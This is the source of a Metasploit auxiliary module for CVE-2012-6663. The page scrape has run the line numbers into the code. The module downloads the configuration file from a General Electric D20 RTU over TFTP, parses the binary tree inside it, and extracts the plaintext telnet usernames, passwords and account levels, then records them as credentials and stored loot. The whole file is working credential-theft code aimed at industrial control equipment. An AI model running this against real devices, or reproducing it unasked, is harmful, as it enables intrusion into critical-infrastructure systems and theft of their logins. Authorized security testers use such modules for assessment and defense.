Path: blob/master/modules/auxiliary/gather/d20pass.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# This module grabs the device configuration from a GE D20M* RTU and7# parses the usernames and passwords from it.8##910class MetasploitModule < Msf::Auxiliary11include Rex::Ui::Text12include Rex::Proto::TFTP13include Msf::Exploit::Remote::Udp14include Msf::Auxiliary::Report1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'General Electric D20 Password Recovery',21'Description' => %q{22The General Electric D20ME and possibly other units (D200?) feature23TFTP readable configurations with plaintext passwords. This module24retrieves the username, password, and authentication level list.25},26'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2012-6663'],30],31'DisclosureDate' => '2012-01-19',32'Notes' => {33'Reliability' => UNKNOWN_RELIABILITY,34'Stability' => UNKNOWN_STABILITY,35'SideEffects' => UNKNOWN_SIDE_EFFECTS36}37)38)3940register_options(41[42Opt::RPORT(69),43Opt::RHOST('192.168.255.1'),44OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])45]46)47end4849def setup50@rhost = datastore['RHOST']51@rport = datastore['RPORT'] || 6952@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))53@lhost = datastore['LHOST'] || "0.0.0.0"54@rfile = datastore['REMOTE_CONFIG_NAME']55end5657def cleanup58if @tftp_client and @tftp_client.respond_to? :complete59while not @tftp_client.complete60select(nil, nil, nil, 1)61vprint_status "Cleaning up the TFTP client ports and threads."62@tftp_client.stop63end64end65end6667def rtarget(ip = nil)68if (ip or rhost) and rport69[(ip || rhost), rport].map { |x| x.to_s }.join(":") << " "70elsif (ip or rhost)71rhost72else73""74end75end7677# Retrieve the file78def retrieve79print_status("Retrieving file")80@tftp_client = Rex::Proto::TFTP::Client.new(81"LocalHost" => @lhost,82"LocalPort" => @lport,83"PeerHost" => @rhost,84"PeerPort" => @rport,85"RemoteFile" => @rfile,86"Action" => :download87)88@tftp_client.send_read_request { |msg| print_tftp_status(msg) }89@tftp_client.threads do |thread|90thread.join91end92# Wait for GET to finish93while not @tftp_client.complete94select(nil, nil, nil, 0.1)95end96fh = @tftp_client.recv_tempfile97return fh98end99100# Builds a big-endian word101def makeword(bytestr)102return bytestr.unpack("n")[0]103end104105# builds abi106def makelong(bytestr)107return bytestr.unpack("N")[0]108end109110# Returns a pointer. We re-base the pointer111# so that it may be used as a file pointer.112# In the D20 memory, the file is located in flat113# memory at 0x00800000.114def makefptr(bytestr)115ptr = makelong(bytestr)116ptr = ptr - 0x00800000117return ptr118end119120# Build a string out of the file. Assumes that the string is121# null-terminated. This will be the case in the D20 Username122# and Password fields.123def makestr(f, strptr)124f.seek(strptr)125str = ""126b = f.read(1)127if b != 0128str = str + b129end130while b != "\000"131b = f.read(1)132if b != "\000"133str = str + b134end135end136return str137end138139# configuration section names in the file are always140# 8 bytes. Sometimes they are null-terminated strings,141# but not always, so I use this silly helper function.142def getname(f, entryptr)143f.seek(entryptr + 12) # three ptrs then name144str = f.read(8)145return str146end147148def leftchild(f, entryptr)149f.seek(entryptr + 4)150ptr = f.read(4)151return makefptr(ptr)152end153154def rightchild(f, entryptr)155f.seek(entryptr + 8)156ptr = f.read(4)157return makefptr(ptr)158end159160# find the entry in the configuration file.161# the file is a binary tree, with pointers to parent, left, right162# stored as 32-bit big-endian values.163# sorry for depth-first recursion164def findentry(f, name, start)165f.seek(start)166myname = getname(f, start)167if name == myname168return start169end170171left = leftchild(f, start)172right = rightchild(f, start)173if name < myname174if left < f.stat.size and left != 0175res = findentry(f, name, leftchild(f, start))176else177res = nil # this should perolate up178end179end180if name > myname181if right < f.stat.size and right != 0182res = findentry(f, name, rightchild(f, start))183else184res = nil185end186end187return res188end189190def report_cred(opts)191service_data = {192address: opts[:ip],193port: opts[:port],194service_name: opts[:service_name],195protocol: 'tcp',196workspace_id: myworkspace_id197}198199credential_data = {200origin_type: :service,201module_fullname: fullname,202username: opts[:user],203private_data: opts[:password],204private_type: :password205}.merge(service_data)206207login_data = {208core: create_credential(credential_data),209status: Metasploit::Model::Login::Status::UNTRIED,210proof: opts[:proof]211}.merge(service_data)212213create_credential_login(login_data)214end215216# Parse the usernames, passwords, and security levels from the config217# It's a little ugly (lots of hard-coded offsets).218# The userdata starts at an offset dictated by the B014USERS config219# offset 0x14 (20) bytes. The rest is all about skipping past the220# section header.221def parseusers(f, userentryptr)222f.seek(userentryptr + 0x14)223dstart = makefptr(f.read(4))224f.seek(userentryptr + 0x1C)225numentries = makelong(f.read(4))226f.seek(userentryptr + 0x60)227headerlen = makeword(f.read(2))228f.seek(userentryptr + 40) # sorry decimal229entrylen = makeword(f.read(2)) # sorry this is decimal230logins = Rex::Text::Table.new(231'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",232'Indent' => 1,233'Columns' => ["Type", "User Name", "Password"]234)2352360.upto(numentries - 1).each do |i|237f.seek(dstart + headerlen + i * entrylen)238accounttype = makeword(f.read(2))239f.seek(dstart + headerlen + i * entrylen + 2)240accountname = makestr(f, dstart + headerlen + i * entrylen + 2)241f.seek(dstart + headerlen + i * entrylen + 2 + 22)242accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)243if accountname.size + accountpass.size > 44244print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")245break246end247logins << [accounttype, accountname, accountpass]248report_cred(249ip: datastore['RHOST'],250port: 23,251service_name: 'telnet',252user: accountname,253password: accountpass,254proof: accounttype255)256end257if not logins.rows.empty?258loot = store_loot(259"d20.user.creds",260"text/csv",261datastore['RHOST'],262logins.to_s,263"d20_user_creds.txt",264"General Electric TELNET User Credentials",265datastore['RPORT']266)267print_line logins.to_s268print_status("Loot stored in: #{loot}")269else270print_error("No data collected")271end272end273274def parse(fh)275print_status("Parsing file")276File.open(fh.path, 'rb') do |f|277used = f.read(4)278if used != "USED"279print_error "Invalid Configuration File!"280return281end282f.seek(0x38)283start = makefptr(f.read(4))284userptr = findentry(f, "B014USER", start)285if userptr != nil286parseusers(f, userptr)287else288print_error "Error finding the user table in the configuration."289end290end291end292293def run294fh = retrieve295parse(fh)296end297298def print_tftp_status(msg)299case msg300when /Aborting/, /errors.$/301print_error [rtarget, msg].join302when /^WRQ accepted/, /^Sending/, /complete!$/303print_good [rtarget, msg].join304else305vprint_status [rtarget, msg].join306end307end308end309310311